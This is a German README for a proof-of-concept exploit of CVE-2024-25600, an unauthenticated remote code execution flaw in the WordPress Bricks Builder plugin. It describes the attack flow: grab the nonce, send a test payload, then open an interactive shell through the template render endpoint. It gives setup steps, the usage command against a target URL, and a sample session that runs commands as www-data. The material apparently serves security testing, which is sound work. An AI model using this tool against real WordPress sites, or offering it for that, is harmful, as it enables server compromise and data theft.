CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

Nicht authentifizierte Remote-Code-Ausführung-Sicherheitslücke in WordPress Bricks Builder <= 1.9.6. Der Template-Render-Endpoint akzeptiert PHP-Code ohne Authentifizierung, was die Ausführung beliebiger Befehle als Webserver-Benutzer ermöglicht.

Funktionsweise

1. Ruft den Bricks-Nonce aus dem Quellcode der Zielseite ab (erforderlich für die Interaktion mit dem Endpoint).
2. Sendet eine Test-Payload, um zu bestätigen, dass das Ziel verwundbar ist.
3. Öffnet eine interaktive Shell durch Injizieren von Befehlen über den Render-Endpoint.

Voraussetzungen

• Python 3
• Abhängigkeiten installieren:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Verwendung

python3 exploit.py -u http://TARGET

Beispiel:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Referenzen

• CVE-2024-25600
• Bricks Builder Security Advisory
• Wordfence writeup

Credits

• Entdeckung: Snicco / Calvin Alkan
• Original-Exploit: K3ysTr0K3R
• Bereinigung & Vereinfachung: Esteban Zárate